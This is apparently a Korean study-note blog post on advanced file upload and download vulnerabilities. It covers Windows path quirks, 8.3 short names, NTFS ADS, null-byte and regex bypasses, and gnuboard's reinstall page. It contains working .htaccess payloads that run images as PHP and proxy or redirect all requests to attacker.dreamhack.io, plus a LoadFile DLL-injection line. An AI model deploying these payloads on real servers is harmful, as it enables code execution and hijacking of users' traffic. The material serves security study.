본문 바로가기

웹해킹

File Vulnerability Advanced

윈도우는 기본적으로 마이크로소프트의 internet information services(IIS) 내장 웹 서버를 제공한다.

또한, 아파치 웹 서버, nginx 등의 소프트웨어를 선택해 사용할 수 있다.

윈도우는 리눅스와 달리 드라이브를 지정할  수 있다.

운영 체제 및 서비스의 로그와 각종 문서가 저장되는 위치이다.

운영 체제 및 서비스를 구성하는 설정 파일이다.

프로그램의 명령어가 저장된 위치와 이들을 실행하기 위한 라이브러리의 위치이다.

운영 체제를 구성하기 위한 파일이다.

운영 체제 및 서비스에서 사용하는 임시 디렉터리이다.

 

윈도우 웹 서버는 AUTHORITY\LocalService 또는 NT AUTHORITY\NetworkService 사용자 권한으로 실행된다.

아파치 (Apache) 웹 서버는 일반적으로 C:\ApacheXY\htdocs 또는 C:\www 디렉터리에서 설정 파일을 관리힌다.

해당 설정 파일 내에서 AccessFileName 지시어를 사용하면 설정 파일을 분산하여 관리할 수 있다.

아파치가 설정될 때의 기본 값은 .htaccess이다.

.htaccess 파일은 웹 서버의 권한만 있다면 덮어쓸 수 있다.

<Files "webshell-dreamhack.jpg">
    # php-fpm (PHP FastCGI Process Manager)을 사용하는 경우
    SetHandler "proxy:fcgi://localhost"
    # Apache2 자체 mod_php를 사용하는 경우
    SetHandler application/x-httpd-php
</Files>

.php 이외의 다른 확장자를 php 스크립트로 해석하도록 설정을 변경할수 있다.

webshell-dreamhack.jpg 에 대한 요청이 들어오면 핸들러가 처리한다.

RewriteEngine On
RewriteOptions inherit
# mod_proxy_fcgi를 사용하는 경우 FastCGI 서버로 요청 프록시
RewriteRule (.*) fcgi://attacker.dreamhack.io.$1 [P]
# mod_proxy_http를 사용하는 경우 HTTP 서버로 요청 프록시
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [P]
# HTTP Redirect 사용
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [R=302,L]
# 에러 페이지를 공격자의 웹 페이지로 리다이렉트합니다.
ErrorDocument 404 https://attacker.dreamhack.io/

모든 요청을 공격자의 웹서버로 전달한다.

에러 페이지를 공격자의 웹 페이지로 리다이렉트 시키는 공격 코드이다.

LoadFile "C:\www\path\to\my\injected\library.dll"

"C:\www" 디렉터리 내 파일들을 조작할 수 있다면 다음과 같이 미리 업로드 한 라이브러리 파일을 로드해 임의 코드를 실행할 수 있다.

임의의 경로로 높은 권한을 획득했을 때 이용할 수 있는 시스템 파일들이다.

 일반 권한으로 접근할 수 있는 설정 파일들이다.

 

윈도우 운영 체제에서는 파일명 뒷부분에 . 또는 스페이스 문자가 포함될 경우 이를 자동으로 제거한다.

윈도우는 유닉스 계열의 운영 체제를 호환하기 위해 경로 구분 문자인 /를 \ 로 변환한다.

이를 이용해서 경로 검사를 우회할 수 있다.

경로 문자 변환이 적용된 예시이다.

 

윈도우도 리눅스와 같이 상대 경로를 지원한다.

"=D:" 환경 변수에 "D:\Apache2\Bin"가 저장되어 있다면, "D:httpd.exe"를 입력해 "D:\Apache2\Bin\httpd.exe" 파일에 접근할 수 있다.

특정 경로에 접근하기 위해 NT Object Manager 네임스페이스 경로를 사용하는 방법도 있다.

윈도우에서 미리 등록한 장치 및 드라이브의 예약어로, "\??\GLOBALROOT\Device\HarddiskVolume[N]"과 같은 구문으로 볼륨을 지정할 수 있다.

"\??\GLOBALROOT\SystemRoot"를 통해 "C:\Windows" 디렉터리에 접근할 수 있으며 웹 서버에 네트워크 공유 서비스가 존재할 때에는 "\?\127.0.0.1\c$\"와 같이 내부 서비스를 통해 파일에 접근할 수 있다.

윈도우 운영 체제에서 사용하는 경로의 유형을 나열한 표이다.

 

DOS 운영 체제의 파일명은 8 바이트, 확장자 3 바이트를 포함해 최대 11 바이트 버퍼를 사용한다.

이러한 방식의 정식 명칭은 DOS 8.3 파일명 ( 8.3 Filename ) 또는 짧은 파일명 ( Short Filename, SFN )이라고 불린다.

윈도우 3.5 부터는 위와 같은 제약을 없앤 긴 파일명 ( Long Filename, LFN )을 지원한다.

윈도우는 과거에 개발된 프로그램 및 기능을 호환한다.

따라서 짧은 파일명을 호환하기 위해 긴 파일명에 8.3 파일명 별칭을 부여한다.

"webshell.phtml"은 "WEBSHE1.PHT"로, ".htaccess"는 "HTACCE~1"로, "Web.config"는 "WEB~1.CON" 등으로 별칭이 따라 붙는다.

 

윈도우의 별칭 생성 규칙이다.

  1. 파일명은 대문자로만 이루어져야 한다. 소문자는 모두 대문자로 자동 치환된다.
  2. 스페이스, ASCII 제어 문자(STX, ESC 등) 및 ASCII 외 문자 (확장 문자집합이 활성화된 경우 제외)는 모두 제거된다.
  3. '+'와 같은 특수 문자는 밑줄 ('_') 문자로 치환된다.
  4. 파일명과 확장자는 각각 8바이트와 3바이트 이하의 문자열로 이뤄져야하며, 각 요소 모두 '.' 문자를 포함할 수 없다. Dreamhack.jpg와 같이 고정 버퍼를 초과하는 파일은 DREAMH~1.JPG로 변환되며, Dreamhack.html는 DREAMH~1.HTM와 같이 변환된다.

운영 체제 및 서비스의 로그와 각종 문서가 저장되는 위치이다.

운영 체제 및 서비스를 구성하는 설정 파일이다.

운영 체제를 구성하기 위한 파일이다.

프로그램의 명령어가 저장된 위치와 이들을 실행하기 위한 라이브러리의 위치이다.

운영 체제 및 서비스에서 사용하는 임시 디렉터리 또는 파일이다.

 

일반적으로 웹 서비스는 root 권한이 아닌 www-data, nginx, apache와 같이 일반 계정으로 실행된다.

일반 권한으로 덮어쓸 수 있는 파일을 덮어써서 임의 코드를 실행할 수 있다.

이전에도 나온 내용이지만, 아파치 웹 서버에서 .htaccess 파일은 웹 서버의 권한만 있다면 덮어쓸 수 있다.

웹셸, 동적 라이브러리 삽입, 요청 리다이렉트, 공유 라이브러리 로드 등의 방법이 있다.

예시 코드와 설명은 위에서 한번 다루었기 때문에 넘어가겠다.

 일반 권한으로 접근할 수 있는 파일이다.

웹 서버가 root 권한으로 실행되고 있거나 임의의 경로로 해당 권한을 획득했다면 파일 업로드 취약점으로 시스템을 장악할 수 있다. root 권한으로 공격 시 이용할 수 있는 파일을 나열한 표이다.

 

파일 다운로드 취약점은 개인 정보를 포함한 민감한 정보를 수집하는 데에 이용할 수 있다.

예를 들어, 데이터 베이스, 운영 체제 계정 정보, 방화벽 규칙 정보, 소스 코드 등이 이에 포함될 수 있다.

일반 권한으로 접근할 수 있는 시스템 가상 파일 및 심볼릭 링크를 나열한 표이다.

일반 권한으로 접근할 수 있는 파일을 나열한 표이다.

 서버에서 사용자의 접속 기록 등을 저장하는 로그 파일의 위치를 나열한 표이다.

 

C 언어에서 널 (NULL) 은 문자열의 끝을 나타내거나 값을 초기화하는 용도로 사용하는 문자이다.

URL의 파라미터에 %00 을 삽입해 데이터를 전송할 수 있다.

운영 체제에서는 파일명에 널 문자가 포함될 경우 널 문자가 위치한 곳을 파일명의 끝으로 인식한다.

실제 확장자 뒤에 널 문자를 삽입해 확장자 검사를 우회하고 악의적인 행위가 가능하다.

아파치 등의 유명 웹 서버는 이와 같은 행위를 막기 위해 널 문자가 포함된 요청이 들어올 경우 400 Bad Request 응답을 반환하고 기능을 수행하지 않는다.

또한, 파이썬과 PHP 등 다양한 언어에서 제공하는 내장 라이브러리에서는 파일명에 널 문자가 포함되어 있는지 확인한다.

하지만 외부 라이브러리의 경우 이러한 검사가 이뤄지지 않는 경우가 있기에 파일을 입력받을 경우 입력값에 널 문자 또는 불필요한 특수 문자가 포함되어 있는지 검사해야 한다.

 

Path Traversal은 업로드 및 다운로드 경로를 조작하는 공격 방식으로, 이용자가 업로드하거나 다운로드 할 파일을 지정할 수 있을 때 사용할 수 있다. 윈도우나 유닉스 계열의 운영 체제 모두 특수한 의미를 가진 디렉터리가 존재한다.

.은 현재 디렉터리를 의미하고, ..은 상위 디렉터리를 의미한다.

이런 것들을 검사하지 않으면 ../을 이용해서 상위 디렉터리의 원하는 파일에 접근할 수 있다.

확장자를 인식하는 정규식의 예시이다.

정규식을 이용한 검사는 확장자 말고도 ip주소, 도메인 주소 등을 검사할 때 많이 사용된다.

(\..*)

.문자 뒤에 위치한 모든 부분 문자열을 찾는다. .jpg.php을 하나의 확장자로 인식하기 때문에 검사가 우회될 수 있다.

(\..*)$

가장 마지막의 .을 기준으로 문자열을 찾는다. .jpg.php는 .php로 찾아내지만

.htaccess같은 파일을 처리할 때 htaccess 자체를 확장자로 인식해버릴 수 있다.

.(\..*)$

가장 마지막 위치의 .을 기준으로 이후의 문자열을 찾고, 시작 부분에 위치한 .을 무시한다.

확장자만 있는 파일명을 모두 확장자로 인식하면 우회될 가능성이 있다.

 

일부 정규식은 $문자가 문자열 끝이 아닌 줄의 끝을 의미하기 때문에 

dream.jpg\nwebshell.php와 같은 파일의 경우 .jpg까지만 인식하기 때문에 %0a를 삽입해서 정규식을 우회할 수 있다.

 

치환 우회는 이전에도 많이 나왔듯이 webshell.ph.phpp 이런 식으로 작성을 하면 php문자열이 치환되면서

webshell.php로 결과가 나온다.

 

프로세스 뿐만 아니라 파일 시스템에서도 Fork라는 개념이 등장한다.

이는 압축한 파일과 같이 한 파일에 메타데이터를 포함한 다양한 데이터를 포함시킬 수 있다.

New Technology File System ( NTFS )은 윈도우 NT 계열의 운영 체제가 사용하는 파일 시스템이다.

해당 파일 시스템에서는 Alternate Data Stream ( ADS )영역을 제공하는데, 이는 맥킨토시에서 사용하는 파일 시스템을 호환하기 위해 등장했다.

ADS 구문이다.

ADS의 특징을 이용해 파일 확장자 검사를 우회하고 공격할 수 있다.

Shell.php::$DATA. 과 같은 이름으로 파일을 전달하면 마지막에 위치한 .문자가 제거되어

Shell.php::$DATA 가 된다.

 

윈도우 운영 체제에서는 FindFirstFile*과 FindNextFile* API를 제공한다.

이는 파일 및 디렉터리를 탐색하고 열람하기 위한 함수로, *와 ?와 같은 와일드카드 문자를 지원한다.

 

Web<< 또는 Web"Config를 이용해 "Web.config" 파일에 접근할 수 있다.

와일드카드에 대한 규칙이다.

 

파일을 업로드하고 다운로드 할 수 있다면 웹셸을 통해 서버를 장악하거나, 정보를 수집하는 등의 행위를 할 수 있다.

일부 CMS 서비스들은 설정 파일은 특정 파일로 관리한다.

예를 들어, 그누보드 (gnuboard)는 "config.php" 또는 "dbconfig.php" 등의 파일에서 기본 설정들을 관리한다.

해당 파일이 삭제되면 데이터베이스에서 데이터를 가져오지 못하므로 그누보드에서는 아래와 같이 해당 파일을 생성하는 설치 페이지로 리다이렉션한다.

// https://github.com/gnuboard/gnuboard5/blob/f83d336e0ba0b06e1b3b2886c4783049c65b2f08/common.php#L148-L199

$dbconfig_file = G5_DATA_PATH.'/'.G5_DBCONFIG_FILE;
if (file_exists($dbconfig_file)) {
    include_once($dbconfig_file);
    include_once(G5_LIB_PATH.'/common.lib.php');    // 공통 라이브러리

    $connect_db = sql_connect(G5_MYSQL_HOST, G5_MYSQL_USER, G5_MYSQL_PASSWORD) or die('MySQL Connect Error!!!');
    $select_db  = sql_select_db(G5_MYSQL_DB, $connect_db) or die('MySQL DB Error!!!');

    $g5['connect_db'] = $connect_db;

    sql_set_charset(G5_DB_CHARSET, $connect_db);
    if(defined('G5_MYSQL_SET_MODE') && G5_MYSQL_SET_MODE) sql_query("SET SESSION sql_mode = ''");
    if (defined('G5_TIMEZONE')) sql_query(" set time_zone = '".G5_TIMEZONE."'");
} else {
?>

<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<title>오류! <?php echo G5_VERSION ?> 설치하기</title>
<link rel="stylesheet" href="install/install.css">
</head>
<body>

<div id="ins_bar">
    <span id="bar_img">GNUBOARD5</span>
    <span id="bar_txt">Message</span>
</div>
<h1>그누보드5를 먼저 설치해주십시오.</h1>
<div class="ins_inner">
    <p>다음 파일을 찾을 수 없습니다.</p>
    <ul>
        <li><strong><?php echo G5_DATA_DIR.'/'.G5_DBCONFIG_FILE ?></strong></li>
    </ul>
    <p>그누보드 설치 후 다시 실행하시기 바랍니다.</p>
    <div class="inner_btn">
        <a href="<?php echo G5_URL; ?>/install/"><?php echo G5_VERSION ?> 설치하기</a>
    </div>
</div>
<div id="ins_ft">
    <strong>GNUBOARD5</strong>
    <p>GPL! OPEN SOURCE GNUBOARD</p>
</div>

</body>
</html>

<?php
    exit;
}

이때 공격자는 설치 페이지에서 데이터베이스 연결 정보를 자신의 서버로 등록할 수 있으며, 이를 통해 이용자의 정보를 탈취하거나 다른 기능과 연계해 원격 코드 실행까지 할 수 있다.